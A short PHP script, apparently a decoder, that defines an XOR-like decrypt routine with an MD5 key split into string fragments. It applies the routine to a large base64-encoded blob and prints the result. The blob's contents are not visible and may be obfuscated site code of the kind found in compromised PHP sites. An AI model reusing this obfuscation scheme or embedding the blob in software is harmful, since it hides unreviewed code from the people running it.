PHP Decode

<?php 
function decrypt($data){ 
    $key = md5('PL@'.'weR'.'t'); 
    $x = 0; 
    $data = rawurldecode($data); 
    $len = strlen($data); 
    $l = strlen($key); 
    $char = ''; 
	$str = ''; 
    for ($i = 0; $i < $len; $i++) { 
        if ($x == $l) { 
            $x = 0; 
        } 
        $char .= substr($key, $x, 1); 
        $x++; 
    } 
    for ($i = 0; $i < $len; $i++) { 
        if (dors($data, $i, 1) < dors($char, $i, 1)) { 
            $str .= chr((dors($data, $i, 1)+256) - dors($char, $i, 1)); 
        }else{ 
            $str .= chr(dors($data, $i, 1) - dors($char, $i, 1)); 
        } 
    } 
    return $str; 
} 
function dors($data, $i , $j){ 
	$str = ord(substr($data, $i, $j)); 
	return $str; 
} 
$data = "JTk2JUQzJUE0JUQ0JUQ4JUMxJUE2JUNBJUQ2JUE4JUEyJUE1JTlDJUE3JUM5JTVCJTkyJTVCJTlDVm9wViVEMiU5MiVBQSU5RiU4NCVBMVglOTUlOTZ1JUFBJTg0JUM0JUM1JTlEVHJwJUEyJTk2WSU5QyVBQyVENSU5OCVENlolODUlOTUlQTglQUZ+JUE3JTg0JTkxWSVEOSVENCVBNCVBNSU5OCU5NSVDNiU5NiVDQiVDRiVDRSU5OSU4NyVDM2JZJUFDJTQwQ2tXJUQ2JTkzJUQzJTlEJUM3JURBJTkxJUQyJTkyJUFBJTlGJUExJUM2JTk5JUE5JTlDJTlGJUMyJTlGJUNBJThFJTg2JTkzJUFCJUFGJTg1dSU4NCU4RSU1QiVENyVBMyVDRSVBMSVDMiU5QSVDNyVDQSU5OCVDQiU5RCU5QlklQzElQkZaJUE0JTk4JTlFJUM2VCVDMiU4RiU5REFvbyVBMiU5NlklQTAlQTglRDglOTglQzElQTclRDElQTIlRDElQzclOTYlQzclOTUlOTUlOUQlQ0QlRDAlOUQlNUUlNUIlOTAlQTclN0IlQjElQUIlQjUlOEYlODclREIlQTklOUMlQTAlOTQlOUQlQzclOTclQzglOUIlQ0QlOUIlODQlQzMlOEQlODQlQTUlQTMlQTclQzMlRDIlOTklQTMlOUNTJUJFJTVFJTg5JURBJUMzJUE2JUNDJUNCJUFEJThGJUExJTk0JUFEJUNBJTVDJThCJUFEbiU0MGtvJTk3JUM1JTk5JUE1VyU4NiVBMCU5RSVBNSVBNSVBNSU4MSU5NSVENCVEMiVEMSVBNiVBMiVDMiU1QiU5NyVBMyU5OCU5RSVEMCU4RiU4NHAlQzclOUYlQ0UlQ0JSJUQ3JUExJUEyJUE2JUM1JUM4JTlEJTlBcyU2MCVDNyVBMSVEMyVEQSVBMHAlQzclRDhZX29VdG8lM0RrJUFGJUM2JUEyJUQ1JUNCJUFEbyUzQiUzRiU0MCVDOSVDNyVBMCVBNVdTJTlEJTk4JUQ0JUQ0JUQ2VCVDOCVENSVBNSU5RiVBM3AlOTUlODQlQTUlQzclOTYlQkRYJUEwJURCJUEyJUNFJUEwJTk3JTlCJTg0JUNBJTk5JTlGJUEzbSU5MCU5OCVENCVENCVENnIlQTElQzglQUJQJTYwcSU1QiU5RCU0MGwlM0IlREVDbCVFMyUzRmwlOTYlOTklOUYlRDMlODRaciU5RCVBMCVEMyU5RiU4NSVDQiVEMCU5NyVEOSVERiVBOSU5NW4lOEYlNUIlQ0YlQTglQ0UlQTYlQ0ElQTYlQzMlRDglQTYlOTElOTclQTUlQTklRDElOTElOUMlOTclQUIlOTIlQkRUJTg1JUQzJUM3JUE4JUNEJUQ1JTlEbSU4RFUlODklQjElODYlQjYlOEUlODN0JTlFJUNGJUEwJUQyJUE2JUFBVyVEMiVDNSVBNSU5QnQlOEQlODMlQTclRDUlRDIlRDElOTUlQzklQ0IlOUQlOTYlOUElOUYlOUUlQkVVJTgyJUE2JURBJUE2JUM3JUEzJThFJTg0JTk3JTlGJUEzJUM5JUMwWmV1bSVDQSVBMCVENSVEQiVENlQlRDklREYlQTklOTVuJThGJTVCJUQ1JUE4JUM0JTlGJUNBJUFBJUJFJTg4UiVEOCU5MiVBMiVBQyVDOSVBMSU5NFglOEMlQTElQ0QlQTElQzYlQ0ElODJ6JUNFJUQyJTlFJThDU2J3JTlFYiVDOCVBMSVEMyVBMyVBMCVBMmElRDYlOTV0cyU5MyVEOCVBQXRZbG4lM0MlQ0IlREIlRDAlOTclRDklQ0YlQTglOUVRJTlBJTlFJUQ2JTVCJTg2JUE3JUQzJUEyJThFJTg2ViVDNiU5QSVBOCU2MCVERnFCJTNGJTVCJTk0JUM5byVDOCVEQiVENCVBMCVDNCVDRiVBNyU5OSVBNSU1QmIlOUQlNDBsJTNCJUM0JUFCJUQ0JUQyJTkxJUQ1JTk2JUFBJUE2JUQ0JUQ4JTYwWiU5QSU5OSU4RFIlQTglQkIlQjQlODAlQjQlQjYlOEQlOEYlODYlODUlODUlOEVTJTg2JUE3JUQzJUEyJThCJUExJTNGbCUzQSU5OSVBQyVENiVEMCU5NyVBOSU5QyVBNSVEMCVBMiVEOSU4RSU4NiU5NyVDRCU5MllzJTg2JTg1JTg1JUIxJTgzJUI2JTkxJUIzJTdCJUI2JUJCJTg0JUIwJTg1JTg4eCVCMiVCN34lN0IlODklNUQlODFjJThFJUExbyUzRW4lQzklQUUlQTIlOUQlOTIlQUMlQzclQTclRDElQTIlRDUlNUUlODYlQzklOUElOEV0JThCJTg5JUIwJUIzJTg4JThBJTk2JTg1JUFBJTdGJUFBJUI1JUI3JTg4JTkxJTk3aVlsJTQwQ2tXJUM2JTkzJUQ1JTk3JTgyJUEzUiVDNSVBNiVBOCVBMyVDMyVDOSVCMCU5QiU5QVklODUlOTUlQ0QlOEYlOURBb28lQTIlOTZZVCU1RCVDNiU5NCVENiU5MyU4QSVCMW9wJTNCa1UlOUElOTglRDglQzVYc1dxJUM3JTlCJUQxJUNCJUMxJTlCJUNBJURBJTk4JTkzJUEwJUExJUFEJUM3JUExJUQ2JUE1JTg5WiVENyVEOCU5RSU4QmxDQW0lRTFFJTQwJTQwJTk3JUNBJTlFJUNBJUM1JUQyJUE5JUQ5JUM1JTlDJTlGJTlGJUE3JTlFJUQwJUE3JUQ1WiU4NSU5QSVDQiVEOCU1RSU4MlUlOUElOTglRDglQzVhcUQlM0IlREUlM0ZvJUNGJUM4VCU4RCU4QSU5OHd2JTg3JTk0JTg5JTk3JUQ5WSVCRV8lODIlRTElM0ZsJTNBWiU5QiVEQiU4NHVWJTVCJTkwJUE4dyVCOSVDMSU4OSU5OCVEQyU4RCU5NmslM0UlM0RCJTg2JTk3JUQ5UiU5RVYlQzQlQzclQTUlQzdnaiU5NiVDOCVDOSU5QiVBNSU5QiU5NiU4OSVBNSVEOSVEOCVDMSVBNiVENCVEQWpjWVclOUQlRDklNUMlOEJtbiU0MGslQ0YlOTglODJZJUE2JUE5JUM5JUNCJTk3JUEzJTk4JUE1JUM0JTlBJThEJThEJTkxJUE5JUQ3JUQydlhfJTVEeCU4QlklQzYlOUIlRDNzJThBJTk0JTVDJThCJTYwJTVEYyU4NCU4OCU5QyVBRGNRJTg1JTlCJUQzJUNDJUQxJTVEJThFJTg2JUI0JTNEJTNCJTNDQiU4NiVBOCVENCU5RSU4MXMlODIlOEElOUIlRDAlOTclQTUlOTIlOTUlQzFzQ0ElM0FqViVDOSVDRiVENFQlQTIlODYlNUQlOTklOUYlOTklQTglQkRlJUJGbW4lNDBrJUUzUiVDNyU5RCVBOSU5QyU4NCVERkUlNDAlNDAlM0ElRDElQTQlQ0ElQ0QlQzElQTElQzYlREElOUMlOThZWmglRDclQTUlQ0VvJTg5ZCU4QyU4RmElODklNURWJTVCJUM4JURCZFYlNUIlOUElQ0YlOTglRDQlOEYlOURBb29CVCVBNiVBNSVBNSU4MnAlODJWJUNBJUE0JUM4JUQ1JThEJTkzJThFcURubUFaJTlCJTlBJUQzUiVBMiU4NiU4OSU1QiVBMHNDOSVBRSU0MENrJUEzJUQ0JTk3JUM4JTk1JUNGJUM3JUE2JUM1JTk5JTVFJTVFJTkzJThDZiU2MCU2MCU4RCU5MFolOTMlOTAlOEIlOTAlOTMlOEVnWnAlNUMlNUQlOTFaJThFUiU4NSVBQiVENCVEMiU1RSU4MlUlQTQlNjAlOUZxQiUzRiVBMCU5NyU4MVolODklRDQlQkRnJUMyJTg2dm1RWiVBRCVEQSVBNyU4OSU1QiU4MSVCMW9wJTNCa1UlQjBXJUExJTg0XyVBNiU5RiVBMSU4OG1ycGslM0QlODklRDQlOUElOUQlOTZTdiU4MlclRDAlOEQlOTMlOTMlOURzJTNDayVBRVYlOUMlRDAlRDclOURWJUIyJTNFayUzQm4lOEElRENUJUEyJTg2JTVEJTlFJThDZiU5NiU5RCU0MGwlM0JqWiVEMCVDNyU5RiVDN1FzVyU4NiVEOCU5RCVBMyVBNyU5RCVDMiVBNiVDQSU4OCU5REFvbyVCNiUzRCUzQiUzQyVBMiVDOFMlOEFWJUM1JTlGJUQ0JTg2UyU5RlElNUQlNUUlOEQlODQlQjNDQSUzQWpWJUM5JUNGJUQ0VCVBMiU4NiU1RCU4RiU4NHglOEIlQjh4JUI0JThEJTgzeiVCMSVBOSU4NyVBRnYlODQlOEIlQzMlQjYlODclODUlOEJTJUJFUiU5MyU4NiU4OWMlOEMlODZnUFUlOTclQTIlRDRTJTkwUiU4OGUlODklODYlNjAlODJVJUE0JTk4JUQxJUM5WGRXWCU4RlklODUlOTQlODJYJURGJUExRiUzQSUzQSVCMFklQzclOUYlRDUlOTclODElQjFvcCUzQmtVJTlBJUEwJUQ2JTg0dVYlNUIlOTAlQjR3JUI3JUJDJUE3JTg2JUMwJTg4JTdEJTdGdCU4OCU4NiVBNyU4MSVCNiU5MSVCMyU4NSVCMSVCQVQlQkZRZFclOEIlOTNfVmVRJTg1JUEwJUM2JUQzJUM3VCU5MyU4NiU2MCU1RVhTZyU4MlclRENtbiU0MGslRTMlM0ZsJTNBJTlEJTlDJUQ4JThDJTVDJUFCJUE5JTlEJThEUiU4OSVDQSVDQiVBNiU4RSVBMUYlM0ElM0ElOUMlOUYlODIlNUIlQzglOUIlQ0QlOUIlQzElQ0IlQUElQ0IlQTQlQUElQUElOEMlODglOUMlOUYlQTlaJThBUiVFMHNsJTNEbiVDQiU5QyU5OCVBMFMlNUIlOUUlQTclRDRwJTlEJUFBJUM2JUE0biVDOCVBMCVBNCVBQiU4NCVDNyVBNyVBMiVBNiVBMyU5RSU4RSU4NyVDRCVENCU5OSVDQSVENCU5NVJvJTk3JUE4JUQ5JUExJUNFJUExJUMyJTlBJTgyJUQ5JUE3JUM1JTk0JTlCJUFBJUQ3JUEwZyU5QyVBNiU5RiVENXAlQTElOTUlRDYlOTglQTMlQTJoJUE0JUEzcSU1QiU5RCU0MGwlM0IlREVWJUM3JUQyJUE1JUM3USVCMURubUElOUIlOUElOTklRDBSJTg3JUEyJUQ2JUE2JUEzJUEyJUFEJTk0b28lOUYlRDElQTElRDZSJUM0JUE1JUNFJUQ1JUE0JTlGJThEWCVBOSVDOSVDOCU5NFh1JTk1JUQwJUE5JUQzJUQyJUQxJTk1JUM5JTg2JTlGJTkxJTlBJTlGdSU5MSU5OSVEMSVBMCVENXQlOUUlOTUlQTYlQzZvcmYlRDglRDZ2WHIlM0VrJTNCJUUyc2wlQjElODUlQ0IlQTUlQTMlOTYlOUMlOUYlODIlNUIlODYlOTElQjElODUlQjUlQkElOEQlODklOTglOUIlQUIlQzMlRDklQUElQTIlNUUlOEUlOEFSJUUwc2wlM0QlODklREIlQUIlOUNRcFklODYlOTIlQjIlODElQjQlOEElQkQlOEQlOTklQzclQTUlOTUlQUMlRDYlRDBfJTkzciUzRWslM0IlRDUlRDglQzclOUIlQzQlRDMlOUElQTQlOTQlOUJhJTg5YiU4QSU2MCU4Ql8lQkUlOTVaJTkwJTVCXyU5MyU5MiU4Q2YlNjB2WiU4NWElOEMlOTIlODJYJURBJUQ4JUE1JTVDUVclQTclOEJubyUzQ2olOUYlQzglODZaJTg2JTlGJTkxaiVDMSU4NHVzV1glRDUlQUElRDklOEQlOEJUJUUwc0M5JTNBVyVCMyU4MnAlODJZJUQxJTlFJUQyJThEbW8lM0IlM0YlNDAlODglRDIlOTklQTMlOUNRJTlFUiU4OSVENCVCRGYlQzIlQTFGJTNBJTNBJUIwWSVDNyU5RiVENSU5NyU4MSVCMW9wJTNCa1UlQjBXJUExJTg0JTVDJUE0JTkyZCVCRW1ycGslM0QlODklRDQlOUElOUQlOTZTdiU4MlUlRDYlOTclQ0UlQTYlQ0UlQzclQTYlQzdTcURubSVCNUNBJTNBJTg1JTk2JUNFJUQ4JTgycSU4NSU4QSU5OCU4MCU4MCU4NiU4RCVCRFolQzYlQTIlQzIlQUElQ0ElOEQlOEYlODJfVlklOTMlODZYZFdVJUNGJTkzJUQyJUNCJTgyYiU4NSU4RGdXUWFZJTg2JUFEJTlEJTNGayUzRiVDOSVDQiVBNiU4QVUlQUIlQTklRDAlOTBYWiU5QiU5QSVEMyU1QiVBMHNsJTNEJUNFJUNDWVglOTclOUMlQTUlQzclOTIlQzclQUElQ0ElQTklRDYlRDlaJTg2JTk1JTlGJUE5JThEJThEWCVCMUQlM0JqJTNCJUNBJUM5JUNBJUEzJTg1JTg4dSVBNCVBM3F1JUQ2JTk3JUEwbiVDNyVBNSVEMCVEQVIlQzUlQTAlQTIlQTYlRDYlQTElOTRYJTlFJUEzJUM2JTk3JUQzJUMyJTg0ciVDOSVENSVCMCU5RSU5RCVBMiU5QSVDNlMlRDUlQTclQzQlOTklQzclRDklQTUlOUUlNjAlOUMlQTYlRDIlRDh2cmYlQTUlQzVwJUExJTk1JUQ2JUE2JUEzJTg4dCUzRCUzQiUzQyVCNiU4MiU5OCVDRSVBNSVDNlYlRERzJTNDayUzQSU5QiU5QSVDQyVEM1hYcyVBNSVEM3AlQTElREElQzZyJUExJUNDJUE4JTlFJUE1UyU5QyVEMSU5RiVEMSVBNCU5RSU5MiU4NCVEOCU5NyVDNiU4RFh1JUM4JUQzJUFGJUE0JUEzJUEwJUMyJTk2JTg1JUNDJUMzJTlEJUQxJUEyaCU5NiVBMCVBMSVBRCVBMG8lOTElQTYlQzV0JTlFJTk1JUE2JUQ0b1hycW5BJUIzRCUzQiVERSUzRm8lQ0IlQzUlOUMlRDQlODYlNUJsJUE1JUE1dyU5RSVBNyVDNnAlOUQlOUMlRDElRDglOUYlODIlOUUlOUIlQUIlQ0MlRDMlOUNzJTkzUyVCMSU4MSVCOCVCQSVCRVYlODUlQzclOUMlQTQlOUElQTIlQTclOUYlOEYlODQlOEUlODN0JTlFJUQ5JUEyJUMzJTlGdCU4QyVENiVEMHJWcyU2MCVENCVBMiVDNiVENCVBMHAlQ0UlRDQlQTklQTUlQTVTJUFEJURCJUEzJUM3byVENSU5QiVEQSVEQVIlRDAlOTIlQTMlOUMlQTElQzBaJTlEJTlDJUE1JUMwJUE3JUQ3JUQyJUJFViU4NSVEQyU5QSU5QyVBNiU5OHYlQkVVJUJFVCU5RnIlQ0IlRDQlQTIlRDclQTVWJUFCJUREJUQ0JTlEcyU5M1MlQzklOUIlQzklQ0ElQzclQTIlQzElODhZJTlFJTkyJUEwJTlFJTlGJThGJTg0JTk2JUQxJTk3JUQ2JUNFJThFJTg0USVBQyU5OCVEMCVEOSU5RHMlOTNTJTg1JUEyJUM2JURBJUNBJTkwJTg3JUE0dSU5OSU5RiVBMyVBRSVENlMlRDYlQUIlRDElOUIlOUYlRDklQTclQzQlOUUlOUYlQUIlODQlREElOTklQTIlQUMlOTYlOUUlOEUlODclQUQlQzclQTglQUIlQ0YlQTUlOTUlOERVdyU5RWIlQzglQTElRDMlQTMlQTAlQTJhJUQ2JTk1dHMlOTMlRDglQUF0WWw="; 
print( (decrypt(base64_decode($data) ) ); ?>